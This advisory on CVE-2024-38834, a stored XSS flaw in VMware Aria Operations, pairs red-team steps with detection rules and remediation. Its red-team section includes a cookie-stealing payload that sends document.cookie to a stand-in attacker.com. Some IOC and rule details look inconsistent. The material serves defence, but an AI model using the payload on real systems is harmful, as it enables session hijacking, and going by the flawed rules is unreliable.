CVE-2024-38834

Executive Summary

CVE-2024-38834 is a stored cross-site scripting (XSS) vulnerability in VMware Aria Operations. A malicious actor with editing access to a cloud provider can inject a malicious script that persists in the application, leading to stored XSS. This can result in session hijacking, data theft, or further compromise of the affected system. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known public exploit or patch details. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary VMware product vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability requires high privileges (editing access to cloud provider) and user interaction, but successful exploitation can lead to stored XSS, potentially affecting other users and data.

Deep Dive & Mechanics

The vulnerability resides in the cloud provider configuration interface of VMware Aria Operations. When a user with editing access modifies cloud provider settings, the application fails to properly sanitize user-supplied input before storing it. This allows an attacker to inject malicious JavaScript code that is later executed in the context of other users who view the affected configuration page.

Attack Flow:

1. An authenticated attacker with editing access to a cloud provider navigates to the configuration page.
2. The attacker injects a malicious script into a text field (e.g., provider name, description, or endpoint URL).
3. The application stores the malicious input without proper sanitization.
4. When another user (or the same user) views the cloud provider configuration, the stored script executes in their browser.
5. The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation in the cloud provider configuration module.

Vulnerable vs. Patched Code

Since no patch details are available, we can only describe the vulnerable pattern:

Vulnerable Code (Conceptual):

// Vulnerable: Directly storing user input without sanitization
function saveCloudProvider(name, endpoint) {
    db.save({ name: name, endpoint: endpoint });
}

// Vulnerable: Rendering stored data without escaping
function renderCloudProvider(provider) {
    document.getElementById('providerName').innerHTML = provider.name;
    document.getElementById('providerEndpoint').innerHTML = provider.endpoint;
}

Patched Code (Conceptual):

// Patched: Sanitize input before storing
function saveCloudProvider(name, endpoint) {
    const sanitizedName = sanitizeHtml(name);
    const sanitizedEndpoint = sanitizeHtml(endpoint);
    db.save({ name: sanitizedName, endpoint: sanitizedEndpoint });
}

// Patched: Use textContent instead of innerHTML to prevent XSS
function renderCloudProvider(provider) {
    document.getElementById('providerName').textContent = provider.name;
    document.getElementById('providerEndpoint').textContent = provider.endpoint;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a VMware Aria Operations instance with editing privileges on a cloud provider.
• A web browser with developer tools.

Exploitation Steps:

1. Log in to VMware Aria Operations with an account that has editing access to a cloud provider.
2. Navigate to the cloud provider configuration page (e.g., /admin/cloud-providers/edit/1).
3. In a text field (e.g., "Provider Name"), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the configuration.
5. When any user views the cloud provider list or details, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection Steps:

1. Monitor for unusual input patterns in cloud provider configuration fields (e.g., <script>, onerror=, javascript:).
2. Review web application logs for requests containing suspicious characters in POST parameters.
3. Use a web application firewall (WAF) to block common XSS payloads.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri="/admin/cloud-providers/*" AND method=POST
| rex field=form_data "(?<payload><script>|<img|onerror|javascript:)"
| where isnotnull(payload)
| table _time, src_ip, user, uri, payload

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to attacker-controlled domains (e.g., attacker.com) from the VMware Aria Operations server.
  • HTTP requests containing <script> tags in POST data to /admin/cloud-providers/*.

• Host IOCs:

  • Stored XSS payloads in the application database (e.g., in cloud_providers table).
  • Unusual JavaScript code in the browser's local storage or session storage.

• File IOCs:

  • Log entries showing injection attempts in web server logs (e.g., access.log).

Detection Engineering

YARA Rule

rule CVE_2024_38834_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting VMware Aria Operations"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38834"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
        $xss5 = "alert(" nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in VMware Aria Operations Cloud Provider Configuration
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in VMware Aria Operations cloud provider configuration
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38834
logsource:
    category: web
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/cloud-providers/*'
        cs-uri-query|contains: 
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in configuration fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-38834 Stored XSS Attempt in VMware Aria Operations"; flow:to_server,established; content:"POST"; http_method; content:"/admin/cloud-providers/"; http_uri; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected VMware Aria Operations instance from untrusted networks.
2. Review all cloud provider configurations for suspicious entries.
3. Implement a Web Application Firewall (WAF) with XSS protection rules.
4. Restrict editing access to cloud providers to only trusted administrators.

Long-term Fixes:

1. Apply the official patch from VMware when available.
2. Upgrade to the latest version of VMware Aria Operations.
3. Enable Content Security Policy (CSP) headers to mitigate XSS impact.
4. Conduct a security audit of the application's input validation and output encoding.

Workaround:

• Disable the cloud provider configuration feature if not needed.
• Use a reverse proxy with XSS filtering capabilities.

Valters IT